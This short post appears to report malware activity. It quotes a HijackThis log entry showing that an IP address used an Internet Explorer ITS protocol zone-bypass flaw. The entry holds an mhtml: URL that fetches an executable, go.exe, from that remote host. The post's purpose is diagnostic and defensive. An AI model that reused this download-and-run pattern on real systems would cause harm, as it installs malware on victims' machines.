216.240.137.40 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11111111-1111-1111-1111-111300000000} - mhtml:C:\\NO_SUCH_MHT.MHT!http://216.240.137.40/go.exe
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